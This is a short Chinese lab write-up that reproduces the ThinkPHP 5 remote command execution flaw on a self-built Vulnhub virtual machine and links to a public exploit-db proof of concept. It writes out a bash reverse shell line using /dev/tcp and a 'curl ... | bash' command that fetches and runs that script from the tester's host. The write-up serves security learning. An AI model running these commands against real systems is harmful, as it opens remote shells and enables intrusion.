郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。
漏洞简述
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响版本:5.0.22、5.1.29
准备环境
测试机IP:192.168.79.129
靶机IP:192.168.79.131
1. 启动Vulnhub靶机环境:

2. 验证靶机应用启用成功:

漏洞复现
POC 引用:https://www.exploit-db.com/exploits/46150


准备反弹Shell文件shell.sh
bash -i >& /dev/tcp/192.168.79.129/4444 0>&1
启http server

使用NC侦听反弹端口

执行命令
curl 192.168.79.129/shell.sh | bash
得到反弹Shell

关闭环境

网友评论